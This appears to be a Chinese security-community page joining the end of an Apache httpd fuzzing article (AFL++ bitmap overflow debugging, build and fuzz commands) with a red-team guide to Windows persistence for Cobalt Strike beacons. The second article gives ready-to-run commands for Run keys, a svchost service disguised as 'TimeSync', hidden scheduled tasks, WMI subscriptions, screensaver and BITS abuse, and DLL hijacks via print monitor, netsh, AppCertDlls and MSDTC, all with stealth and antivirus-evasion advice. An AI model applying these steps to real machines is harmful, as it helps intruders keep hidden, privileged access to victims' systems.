这个错误产生的原因貌似是在被定义在`sanitizer_stackdepotbase.h`中的`find`函数。该文件是ASAN库的一部分，每次将新项目推入程序堆栈时都会调用该文件。但是，由于某种原因，`s`链表损坏了。结果，由于`s->link`表达式试图取消引用无效的内存地址，因此发生了段错误
我可能会在ASAN库中遇到一个新的bug吗？这对我来说似乎不太可能，但随着我花更多的时间去研究漏洞，它就越来越成为一个合理的解释。好的一面是，我能学到很多关于ASAN内部的知识
然而，我在试图找到链表损坏的源头时遇到了严重的困难。是Apache的错还是AFL++的错？在这一点上，我转向了[rr 调试器](https://rr-project.org/)。rr 是 Linux 的调试工具，旨在记录和重放程序执行，即所谓的反向执行调试器。rr允许我“倒退”并找到错误的根本原因
最后，我终于可以解释我们神秘的内存损坏bug的起源。AFL++ 使用共享内存位图来获取程序的覆盖进度。它在程序分支点插桩的代码本质上等同于：
cur_location = <COMPILE_TIME_RANDOM>;
shared_mem[cur_location ^ prev_location]++;
prev_location = cur_location >> 1;
默认情况下，这个位图的大小是64kb，但是正如您在图中看到的那样，我们`guard`变量中的值为 65576 。因此在这种情况下，AFL++
fuzzer可能会溢出`__afl_area_ptr`数组，导致覆盖掉程序的内存。如果我们尝试使用小于所需的最小值的位图尺寸，AFL++
通常会发出警报。但在我们遇到的这种特殊情况下，它并没有这样做。原因我不知道，答案要留给历史来提供了
解决这个错误最终就像设置环境变量 **MAP_SIZE=256000** 一样简单。我希望这则轶事能帮助其他人，并提醒他们有时您的工具可能会欺骗您！
## 八、Apache 模糊测试 TL;DR
对于那些喜欢直截了当（我不推介这样！）的人，以下是您自己开始对 Apache HTTP 进行模糊测试所需的知识：
* 将补丁应用到源代码：
patch -p2 < /Patches/Patch1.patch
patch -p2 < /Patches/Patch2.patch
* 配置和构建 Apache HTTP：
$ CC=afl-clang-fast CXX=afl-clang-fast++ CFLAGS="-g -fsanitize=address,undefined -fno-sanitize-recover=all" CXXFLAGS="-g -fsanitize=address,undefined -fno-sanitize-recover=all" LDFLAGS="-fsanitize=address,undefined -fno-sanitize-recover=all -lm" ./configure --prefix='/home/user/httpd-trunk/install' --with-included-apr --enable-static-support --enable-mods-static=few --disable-pie --enable-debugger-mode --with-mpm=prefork --enable-negotiation=static --enable-auth-form=static --enable-session=static --enable-request=static --enable-rewrite=static --enable-auth_digest=static --enable-deflate=static --enable-brotli=static --enable-crypto=static --with-crypto --with-openssl --enable-proxy_html=static --enable-xml2enc=static --enable-cache=static --enable-cache-disk=static --enable-data=static --enable-substitute=static --enable-ratelimit=static --enable-dav=static
$ make -j8
$ make install
* 运行模糊器：
AFL_MAP_SIZE=256000 SHOW_HOOKS=1 ASAN_OPTIONS=detect_leaks=0,abort_on_error=1,symbolize=0,debug=true,check_initialization_order=true,detect_stack_use_after_return=true,strict_string_checks=true,detect_invalid_pointer_pairs=2 AFL_DISABLE_TRIM=1 ./afl-fuzz -t 2000 -m none -i '/home/antonio/Downloads/httpd-trunk/AFL/afl_in/' -o '/home/antonio/Downloads/httpd-trunk/AFL/afl_out_40' -- '/home/antonio/Downloads/httpd-trunk/install/bin/httpd' -X @@
* [补丁 1](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/blob/main/Patches/Patch1.patch)
* [补丁2](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/blob/main/Patches/Patch2.patch)
* [Apache 示例配置](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/tree/main/Conf%20Example)
* [一些输入案例示例](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/tree/main/Input%20Case)
* [字典示例](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/blob/main/Dictionaries/http_request_fuzzer.dict.txt)
* [自定义突变器示例](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/tree/main/Custom%20mutators)
* [自定义语法示例](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/blob/main/Custom%20Grammars/http.json)
## 九、待续…
请留意本系列的第二部分，在那里我将深入探讨其他有趣的模糊测试方面，例如 **自定义拦截器** 和 **文件监视器** 。我还将解释我如何设法模糊一些特殊的
mod，例如`mod_dav`或`mod_cache`
下一篇文章见！
## 参考
* <https://httpd.apache.org/docs/current/>
* <https://animal0day.blogspot.com/2017/07/from-fuzzing-apache-httpd-server-to-cve.html>
* <https://www.fuzzingbook.org/html/MutationFuzzer.htm>
* <https://github.com/AFLplusplus/AFLplusplus> | 社区文章 |
# Windows权限维持
Author: Hunter@深蓝攻防实验室
## 0x00 前言&场景
在红队中对于拿到的shell或钓上来的鱼，目前比较流行用CS做统一管理，但实战中发现CS官方没有集成一键权限维持的功能，收集的一些第三方开发的插件也大多不完善或者使用很麻烦，甚至有一些还有BUG导致我们以为成功了实际上却没有，最终丢掉了shell。
故基于此场景整理Windows环境中的持久化方法，后续将一些比较常用且便捷的操作整合成CS插件，确保在拿到shell的时候快速保住权限。
## 0x01 Startup目录
权限要求：提权不提权都可。
这是最常用也是最简单的权限维持了，放在该目录下的程序或快捷方式会在用户登录时自动运行，就不多说了。
NT6以后的目录如下：
对当前用户有效：
C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
对所有用户有效：
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
NT6以前的目录如下：
对当前用户有效：
C:\Documents and Settings\Hunter\「开始」菜单\程序\启动
对所有用户有效：
C:\Documents and Settings\All Users\「开始」菜单\程序\启动
## 0x02 注册键
权限要求：提权不提权都可。
Windows庞大的注册表以及相对不严格的权限管理给了我们很多做手脚的机会，其中注册表自启项是比较常用的持久化操作了。
注册表作为Windows的核心数据库，存储着系统和用户的很多关键信息。
Windows在注册表中提供了两套独立的路径，一个是上面提到的当前用户的“HKEY_CURRENT_USER”即“HKCU”，另一个就是针对当前用户物理状态的“HKEY_LOCAL_MACHINE”即“HKLM”，仅有特权账户可以对其进行修改。
随着安全意识的提高，目前在红队中搞到的Windows大多都是降权的。特别是钓鱼得到的PC机提权的意义不大，因为即使提权写了Administrator的启动项，用户下一次登录也还是进自己的账户，持久化就白做了。
整理Windows下的所有注册键如下：
1.Load注册键
HKEY_CURRENT_USER＼Software＼Microsoft＼Windows NT＼CurrentVersion＼Windows＼load
2.Userinit注册键
HKEY_LOCAL_MACHINE＼Software＼Microsoft＼Windows NT＼CurrentVersion＼Winlogon＼Userinit
通常该注册键下面有一个userinit.exe。该键允许指定用逗号分隔的多个程序，如userinit.exe,evil.exe。
3.Explorer＼Run注册键
Explorer＼Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。
HKEY_CURRENT_USER＼Software＼Microsoft＼Windows＼CurrentVersion＼Policies＼Explorer＼Run
HKEY_LOCAL_MACHINE＼Software＼Microsoft＼Windows＼CurrentVersion＼Policies＼Explorer＼Run
Explorer＼Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。
4.RunServicesOnce注册键
RunServicesOnce注册键用来启动服务程序，启动时间在用户登录之前，而且先于其他通过注册键启动的程序，在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。
HKEY_CURRENT_USER＼Software＼Microsoft＼Windows＼CurrentVersion＼RunServicesOnce
HKEY_LOCAL_MACHINE＼Software＼Microsoft＼ Windows＼CurrentVersion＼RunServicesOnce
5.RunServices注册键
RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行，但两者都在用户登录之前。
HKEY_CURRENT_USER＼Software＼Microsoft＼Windows＼CurrentVersion＼ RunServices
HKEY_LOCAL_MACHINE＼Software＼Microsoft＼Windows＼ CurrentVersion＼RunServices
6.RunOnce＼Setup注册键
HKEY_CURRENT_USER＼Software＼Microsoft＼Windows＼CurrentVersion＼RunOnce＼Setup
HKEY_LOCAL_MACHINE＼Software＼Microsoft＼Windows＼CurrentVersion＼RunOnce＼Setup
7.RunOnce注册键
安装程序通常用RunOnce键自动运行程序，它的位置在
HKEY_LOCAL_MACHINE＼Software＼Microsoft＼Windows＼CurrentVersion＼RunOnce
[小于NT6]HKEY_LOCAL_MACHINE＼Software＼Microsoft＼Windows＼CurrentVersion＼RunOnceEx
HKEY_CURRENT_USER＼Software＼Microsoft＼Windows＼CurrentVersion＼RunOnce
HKEY_LOCAL_MACHINE下面的RunOnce键会在用户登录之后立即运行程序，运行时机在其他Run键指定的程序之前；HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及“启动”文件夹的内容之后运行。
8.Run注册键
HKEY_CURRENT_USER＼Software＼Microsoft＼Windows＼CurrentVersion＼Run
HKEY_LOCAL_MACHINE＼Software＼Microsoft＼Windows＼CurrentVersion＼Run
Run是自动运行程序最常用的注册键，HKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行，但两者都在处理“启动”文件夹之前。
写入注册键命令如下：
`reg add "XXXX" /v evil /t REG_SZ /d "[Absolute Path]\evil.exe"`
## 0x03 服务
权限要求：未降权的管理员权限。
创建服务是需要非降权管理员权限的，因此拿到shell后要用这种方法做维持首先要提权，但其优点是隐蔽性比注册键高（如用svchost的服务组加载DLL就可以隐藏掉恶意进程）。CMD和Powershell都可以用命令添加服务，样例如下：
`sc create evil binpath= "cmd.exe /k [Absolute Path]evil.exe" start= "auto"
obj= "LocalSystem"`
这种直接通过cmd拉起的服务创建起来很简单。这里需要注意一个小坑：shellcodeloader主线程会阻塞导致服务启动时认为程序无响应而失败，因此必须用cmd拉起来，不能直接创建服务。服务正常启动后进程以SYSTEM权限在用户登录前运行。但缺点也很明显，恶意进程还是独立存在的，隐蔽性较差。如下图：
还有一类服务是通过svchost启动，由于Windows系统中的许多服务都是通过注入到该程序中启动（这也是官方认可的DLL注入动作），因此只要DLL本身免杀，杀毒软件就不会理会这种行为，并且由于恶意进程并不是独立存在的，隐蔽性相对较高。
但使用svchost加载服务就不是一行命令可以完成的，不仅需要自己做一个服务DLL，还需要额外在注册表中添加一些东西。由于64位系统有两套注册表和两套svchost，因此命令还有微小的不同。
32位系统命令如下：
sc create TimeSync binPath= "C:\Windows\System32\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:32
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:32
sc start TimeSync
64位系统中注册32位服务命令如下：
sc create TimeSync binPath= "C:\Windows\Syswow64\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:32
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:32
sc start TimeSync
64位系统命令如下：
sc create TimeSync binPath= "C:\Windows\System32\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:64
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:64
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:64
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:64
sc start TimeSync
注意这里有个大坑，使用“reg add”命令向注册表键中添加数据的时候是直接覆盖的，而“HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Svchost”中的大多数的键都是REG_MULTI_SZ类型，即多行数据。因此千万不能直向已经存在的键中写入数据，系统启动所需要的服务都在里面，覆盖后会出大问题！（所以上面命令中是用的“netsvr”，这个键默认是不存在的）
## 0x04 计划任务
权限要求：未降权的管理员权限/普通用户。
计划任务也是一项很好的持久化利用点。不同于自启注册键和服务项，计划任务的设定方式更多样、灵活，位置也相对较为隐蔽（手工排查要多点几下）。比如，曾经在一线做安服的时候，有一阵子碰到闹得很凶的“驱动人生”挖矿木马其中的一个持久化方式就是在定时任务中创建了很多powershell脚本来做的持久化，它的stager直接以base64编码的方式写在计划任务的命令行参数中。那个输入框很短，对没有经验的工程师来说后面的内容就很容易没有看到而忽略掉。
Windows中有命令“SCHTASKS”用来管理计划任务，支持下面几个选项：
SCHTASKS /parameter [arguments]
描述:
允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任
务。
参数列表:
/Create 创建新计划任务。
/Delete 删除计划任务。
/Query 显示所有计划任务。
/Change 更改计划任务属性。
/Run 按需运行计划任务。
/End 中止当前正在运行的计划任务。
/ShowSid 显示与计划的任务名称相应的安全标识符。
/? 显示此帮助消息。
在持久化过程中比较常用的命令是Create，由于参数相对较多因此复制到下面做参考：
SCHTASKS /Create [/S system [/U username [/P [password]]]]
[/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
[/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]
描述:
允许管理员在本地或远程系统上创建计划任务。
参数列表:
/S system 指定要连接到的远程系统。如果省略这个
系统参数，默认是本地系统。
/U username 指定应在其中执行 SchTasks.exe 的用户上下文。
/P [password] 指定给定用户上下文的密码。如果省略则
提示输入。
/RU username 指定任务在其下运行的“运行方式”用户
帐户(用户上下文)。对于系统帐户，有效
值是 ""、"NT AUTHORITY\SYSTEM" 或
"SYSTEM"。
对于 v2 任务，"NT AUTHORITY\LOCALSERVICE"和
"NT AUTHORITY\NETWORKSERVICE"以及常见的 SID
对这三个也都可用。
/RP [password] 指定“运行方式”用户的密码。要提示输
入密码，值必须是 "*" 或无。系统帐户会忽略该
密码。必须和 /RU 或 /XML 开关一起使用。
/RU/XML /SC schedule 指定计划频率。
有效计划任务: MINUTE、 HOURLY、DAILY、WEEKLY、
MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
/MO modifier 改进计划类型以允许更好地控制计划重复
周期。有效值列于下面“修改者”部分中。
/D days 指定该周内运行任务的日期。有效值:
MON、TUE、WED、THU、FRI、SAT、SUN
和对 MONTHLY 计划的 1 - 31
(某月中的日期)。通配符“*”指定所有日期。
/M months 指定一年内的某月。默认是该月的第一天。
有效值: JAN、FEB、MAR、APR、MAY、JUN、
JUL、 AUG、SEP、OCT、NOV 和 DEC。通配符
“*” 指定所有的月。
/I idletime 指定运行一个已计划的 ONIDLE 任务之前
要等待的空闲时间。
有效值范围: 1 到 999 分钟。
/TN taskname 指定唯一识别这个计划任务的名称。
/TR taskrun 指定在这个计划时间运行的程序的路径
和文件名。
例如: C:\windows\system32\calc.exe
/ST starttime 指定运行任务的开始时间。
时间格式为 HH:mm (24 小时时间)，例如 14:30 表示
2:30 PM。如果未指定 /ST，则默认值为
当前时间。/SC ONCE 必需有此选项。
/RI interval 用分钟指定重复间隔。这不适用于
计划类型: MINUTE、HOURLY、
ONSTART, ONLOGON, ONIDLE, ONEVENT.
有效范围: 1 - 599940 分钟。
如果已指定 /ET 或 /DU，则其默认值为
10 分钟。
/ET endtime 指定运行任务的结束时间。
时间格式为 HH:mm (24 小时时间)，例如，14:50 表示 2:50 PM
。
这不适用于计划类型: ONSTART、
ONLOGON, ONIDLE, ONEVENT.
/DU duration 指定运行任务的持续时间。
时间格式为 HH:mm。这不适用于 /ET 和
计划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT.
对于 /V1 任务，如果已指定 /RI，则持续时间默认值为
1 小时。
/K 在结束时间或持续时间终止任务。
这不适用于计划类型: ONSTART、
ONLOGON, ONIDLE, ONEVENT.
必须指定 /ET 或 /DU。
/SD startdate 指定运行任务的第一个日期。
格式为 yyyy/mm/dd。默认值为
当前日期。这不适用于计划类型: ONCE、
ONSTART, ONLOGON, ONIDLE, ONEVENT.
/ED enddate 指定此任务运行的最后一天的日期。
格式是 yyyy/mm/dd。这不适用于计划类型:
ONCE、ONSTART、ONLOGON、ONIDLE。
/EC ChannelName 为 OnEvent 触发器指定事件通道。
/IT 仅有在 /RU 用户当前已登录且
作业正在运行时才可以交互式运行任务。
此任务只有在用户已登录的情况下才运行。
/NP 不储存任何密码。任务以给定用户的身份
非交互的方式运行。只有本地资源可用。
/Z 标记在最终运行完任务后删除任务。
/XML xmlfile 从文件的指定任务 XML 中创建任务。
可以组合使用 /RU 和 /RP 开关，或者在任务 XML 已包含
主体时单独使用 /RP。
/V1 创建 Vista 以前的平台可以看见的任务。
不兼容 /XML。
/F 如果指定的任务已经存在，则强制创建
任务并抑制警告。
/RL level 为作业设置运行级别。有效值为
LIMITED 和 HIGHEST。默认值为 LIMITED。
/DELAY delaytime 指定触发触发器后延迟任务运行的
等待时间。时间格式为
mmmm:ss。此选项仅对计划类型
ONSTART, ONLOGON, ONEVENT.
/? 显示此帮助消息。
修改者: 按计划类型的 /MO 开关的有效值:
MINUTE: 1 到 1439 分钟。
HOURLY: 1 - 23 小时。
DAILY: 1 到 365 天。
WEEKLY: 1 到 52 周。
ONCE: 无修改者。
ONSTART: 无修改者。
ONLOGON: 无修改者。
ONIDLE: 无修改者。
MONTHLY: 1 到 12，或
FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY。
ONEVENT: XPath 事件查询字符串。
示例:
==> 在远程机器 "ABC" 上创建计划任务 "doc"，
该机器每小时在 "runasuser" 用户下运行 notepad.exe。
SCHTASKS /Create /S ABC /U user /P password /RU runasuser
/RP runaspassword /SC HOURLY /TN doc /TR notepad
==> 在远程机器 "ABC" 上创建计划任务 "accountant"，
在指定的开始日期和结束日期之间的开始时间和结束时间内，
每隔五分钟运行 calc.exe。
SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE
/MO 5 /TN accountant /TR calc.exe /ST 12:00 /ET 14:00
/SD 06/06/2006 /ED 06/06/2006 /RU runasuser /RP userpassword
==> 创建计划任务 "gametime"，在每月的第一个星期天
运行“空当接龙”。
SCHTASKS /Create /SC MONTHLY /MO first /D SUN /TN gametime
/TR c:\windows\system32\freecell
==> 在远程机器 "ABC" 创建计划任务 "report"，
每个星期运行 notepad.exe。
SCHTASKS /Create /S ABC /U user /P password /RU runasuser
/RP runaspassword /SC WEEKLY /TN report /TR notepad.exe
==> 在远程机器 "ABC" 创建计划任务 "logtracker"，
每隔五分钟从指定的开始时间到无结束时间，
运行 notepad.exe。将提示输入 /RP
密码。
SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE
/MO 5 /TN logtracker
/TR c:\windows\system32\notepad.exe /ST 18:30
/RU runasuser /RP
==> 创建计划任务 "gaming"，每天从 12:00 点开始到
14:00 点自动结束，运行 freecell.exe。
SCHTASKS /Create /SC DAILY /TN gaming /TR c:\freecell /ST 12:00
/ET 14:00 /K
==> 创建计划任务“EventLog”以开始运行 wevtvwr.msc
只要在“系统”通道中发布事件 101
SCHTASKS /Create /TN EventLog /TR wevtvwr.msc /SC ONEVENT
/EC System /MO *[System/EventID=101]
==> 文件路径中可以加入空格，但需要加上两组引号，
一组引号用于 CMD.EXE，另一组用于 SchTasks.exe。用于 CMD
的外部引号必须是一对双引号；内部引号可以是一对单引号或
一对转义双引号:
SCHTASKS /Create
/tr "'c:\program files\internet explorer\iexplorer.exe'
\"c:\log data\today.xml\"" ...
“计划任务程序库”中也是有路径的，Windows初始状态在根目录中是没有计划任务的，如下图：
当然子目录中也是没有计划任务的：
计划任务都被放在了最内层目录里面，因此为了确保隐蔽性，我们也可以遵守Windows默认的规范在“\Microsoft\Windows\”下面新建我们的子目录和计划任务。示例命令如下：
`SCHTASKS /Create /RU SYSTEM /SC ONSTART /RL HIGHEST /TN
\Microsoft\Windows\evil\eviltask /TR C:\Users\hunter\Desktop\evil.exe`
无需登录即可收到beacon：
在进程树中，恶意进程是被taskeng.exe即任务计划程序引擎拉起的，隐蔽性弱于DLL服务，但强于自启注册键。
但是，大坑又来了，我们发现SCHTASKS命令功能并不完整，很多配置项是无法操作的，比如不支持同时创建多个触发器，不支持修改“条件”和“设置”选项卡中的功能。如下：
这些选项都是任务创建时的默认状态，也就是说我们的计划任务不会在睡眠唤醒时启动，断开交流电源自动停止，超过3天自动停止。而这些高级选项却不支持用命令行配置，查了一下微软社区，官方给的回复竟然是这样的：
哭笑不得...对于正常用户使用起来确实没问题，但对于红队来说，我们不方便操作GUI啊！当然也可以通过制作DLL模块或exe直接调用WINAPI来操作，但那还需要额外再上传一个文件，效率稍低。因此计划任务这个持久化的路子只能作为一个保险，并不能完全依赖。
此外还有一个有些相似的利用点——组策略。在启动脚本处可以执行cmd脚本或ps脚本从而执行任意命令，但由于命令行版本的组策略编辑器功能太过受限，就不再做展开（如果可以登录桌面的话直接去gpedit.msc去配置启动脚本即可持久化，且隐蔽性较高）。
## 0x05 WMI
权限要求：未降权的管理员权限。
我们可以认为WMI是一组可以直接与Windows操作系统交互的API，由于这是操作系统自带的工具，无需安装，因此也是权限维持的好帮手。
由于WMI的事件会循环执行，为确保不会无限弹shell，可以使用系统启动时间来限制（只要触发延时可以落在限定区间即可，有些机器启动慢因此起始时间调高些）。示例命令如下：
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="evil", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 310"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="evilConsumer", ExecutablePath="C:\Users\hunter\Desktop\beacon.exe",CommandLineTemplate="C:\Users\hunter\Desktop\beacon.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"evil\"", Consumer="CommandLineEventConsumer.Name=\"evilConsumer\""
由于时间区间的落点不一定相同，特定情况下有可能会出现多个beacon：
看下进程树，隐蔽性一般：
## 0x06 屏幕保护
权限要求：普通用户。
虽然未必所有用户都会使用屏幕保护，但幸运的是屏幕保护程序的相关配置都在注册表中，如下图的四个键：
完整路径如下：
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE
直接写入注册表即可：
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f
reg add "hkcu\control panel\desktop" /v ScreenSaveActive /d 1 /f
reg add "hkcu\control panel\desktop" /v ScreenSaverIsSecure /d 0 /f
reg add "hkcu\control panel\desktop" /v ScreenSaveTimeOut /d 60 /f
看一下进程树，winlogon.exe拉起来的，隐蔽性一般：
这里又有个小坑，如果从未设置过屏保程序的话，除“ScreenSaveActive”默认值为1，其他键都是不存在的，而屏保程序的正常运行必须保证这几个键都有数据才可以，因此必须把4个键都重写一遍。另外，经测试屏保程序最短触发时间为60秒，即使改成小于60的数值，依然还是60秒后执行程序。
当然，从注册表路径也可以看出这种方式只能获得当前用户权限的shell，优点是不需要提权即可维持。
## 0x07 后台智能传输服务（BITS）
权限要求：管理员权限（不必过UAC）。
后台智能传送服务 (BITS)
可帮助传输大量数据而不会降低网络性能。它通过在小区块中传输数据、充分利用可用的但未使用的带宽和在目的地重组数据的方式来实现此操作。在 Microsoft®
Windows Server 2003 家族操作系统上和 Microsoft® Windows 2000 上都支持 BITS。——摘自百度百科
网上的“渗透教程”中有很多利用bitsadmin命令下载文件或执行命令的操作，但它其实也可以用来做权限维持，并且可以绕过Autoruns的检测以及杀软的自启命令执行保护。
添加任务的命令很简单，只有4条：
bitsadmin /create evil
bitsadmin /addfile evil "C:\Users\hunter\Desktop\beacon.exe" "C:\Users\hunter\Desktop\beacon.exe"
bitsadmin.exe /SetNotifyCmdLine evil "C:\Users\hunter\Desktop\beacon.exe" NUL
bitsadmin /Resume evil
其有个优点是可以在降权的管理员回话中执行（不过UAC），当然得到的beacon也是降权的：
重启后由于任务并未结束，依然会被系统拉起，达到了持久化的目的。虽然后台智能传输服务的任务默认时长是90天，90天后任务自动取消，但对于红队来说这已经足够了：
看一下进程树，是“svchost.exe -k netsvcs"拉起的。但由于是独立进程，隐蔽性一般：
这种方法可以绕过目前所有启动项检查工具，唯一检测方式是通过bistamin命令：
`bitsadmin /list /allusers /verbose`
可以看到所有任务如下（忘记截图，这是另一台测试机，数据不同）：
## 0x07 后台打印程序服务
权限要求：未降权的管理员权限。
后台打印程序服务负责管理Windows操作系统中的打印作业，由于很多用户还是要使用打印机的，所以优化软件也不会推荐禁用这个服务。打印后台处理程序的API包含一个函数-AddMonitor，用于安装本地端口监视器并连接配置、数据和监视器文件。该函数会将DLL注入到spoolsv.exe进程以实现相应功能。系统初始状态下需要调用的DLL如下：
这些DLL都是包含与打印服务驱动相关的内容，那么我们也可以利用这个机制驻留一个恶意DLL，当然，和注册服务一样，这必须要未降权的管理员权限。
首先将恶意DLL放到C:\Windows\System32\路径下：
然后执行命令添加相关注册表项和Driver键：
`reg add "hklm\system\currentcontrolset\control\print\monitors\monitor" /v
"Driver" /d "monitor.dll" /t REG_SZ`
重新启动后，恶意DLL则会被自动加载到spoolsv.exe，隐蔽性较强：
控制端以SYSTEM权限上线（这里演示暂时用的MSF，CS的DLL还要自己重写一个）：
## 0x08 Netsh
权限要求：未降权的管理员权限。
netsh也是Windows自带的命令，是用来配置网络的命令行工具。该工具可以通过导入helperdll的方式实现功能，且DLL导入后会写进注册表，永久有效：
因此可以通过导入helperdll的方式做权限维持，命令格式如下：
`netsh add helper [Absolute evil DLL path]`
但是由于netsh并不会开启自启动，因此还要再写一条自启动项：
`reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v
Pentestlab /t REG_SZ /d "cmd /c C:\Windows\System32\netsh"`
重新启动后依然可获得shell：
进程树和加载的恶意模块如下，隐蔽性较强：
但由于测试过程依然使用的是msf生成的DLL，启动netsh的时候会弹出黑框并阻塞，关掉netsh进程后连接也就断掉了，因此后续实战应用还需要自己写DLL。
## 0x09 AppCertDlls
权限要求：未降权的管理员权限。
众所周知注册表项“AppInit_DLLs”中的值会在user32.dll被加载到内存的时候被读取，若其中有值则调用API“LoadLibrary()”加载用户DLL。
早些年用这个做DLL注入式持久化比较流行，但如今在很多新系统上却失效了。其原因是由于kernel32.dll在启动时有一个标记位的判断，如下图：
kernel32.dll对0x67的Class进行NtQuerySystemInformation后，检查ReturnLength与2的运算是否为0（是否相等），若相等则不加载DLL直接ret。
关于0x67在网上可以查到相关资料：
它是由bcdedit.exe的“–set testsigning on/off”参数设置的，但现在比较新的机器一般都在BIOS中默认设置了secure
boot，如果不关掉这个选项是无法修改上面的标记的。因此，这个方法目前局限性就比较大了。
然而其实还有一个注册表项不太常用，并且也能够自动加载DLL，那就是AppCertDlls。当进程使用了CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW、WinExec这些API的时候，该项中的内容会被自动加载，而幸运的，是很多程序都会调用这些API。
写一个测试程序调用上面的API：
执行：
msf上线：
看下进程树：
只是在正常进程下面开了个rundll32.exe，将恶意DLL加载，隐蔽性较高。
但使用msf的DLL依然只能做测试，由于系统的很多程序都会调用以上API（比如explorer.exe），而msf的DLL会导致进程阻塞，最终导致启动的时候进不去桌面，因此DLL还要之后自己写。
## 0x0A MSDTC
权限要求：未降权的管理员权限。
msdtc.exe是微软分布式传输协调bai程序。该du进程调用系统Microsoft Personal Web Server和Microsoft SQL
Server。该服务用于管理多个服务器。
该服务启动后会尝试从System32加载三个DLL文件：oci.dll、SQLLib80.dll、xa80.dll。服务项如下：
对应注册表如下：
在默认的Windows安装中，System32文件夹中缺少oci.dll这个文件，在获得写权限的情况下可以在该文件夹下写入一个同名的dll，服务启动时执行恶意代码。
默认情况下，由于启动类型设置为“手动”，通过以下命令设置自启：
sc qc msdtc
sc config msdtc start= auto
恶意dll会被加载到msdtc.exe进程中执行，隐蔽性强：
## 0x0B 总结
一开始整理持久化技术的时候总共列了20种左右，但实践中发现很多持久化技术并是不通用的，例如针对特定场景，特定配置，特定应用的权限维持；甚至还有些是“被动”持久化，例如快捷方式的替换，排除利用快捷方式漏洞利用这条路，如果目标不去点是不会触发的。因此将那些局限性较大的持久化技术删掉以精简篇幅（减少工作量），最后将持久化技术精简到了以上10种，相对来说比较通用。
整理的过程中也发现一个Ring3中无奈的点：用户层的持久化如果想做到隐蔽性强且绕过杀软的行为检测，一定要借助Windows自带的功能（白利用），如果这些功能或模块在特殊环境中被关闭、卸载或无法正常启动就会很尴尬。因此多准备几种方法总还是很有用的。
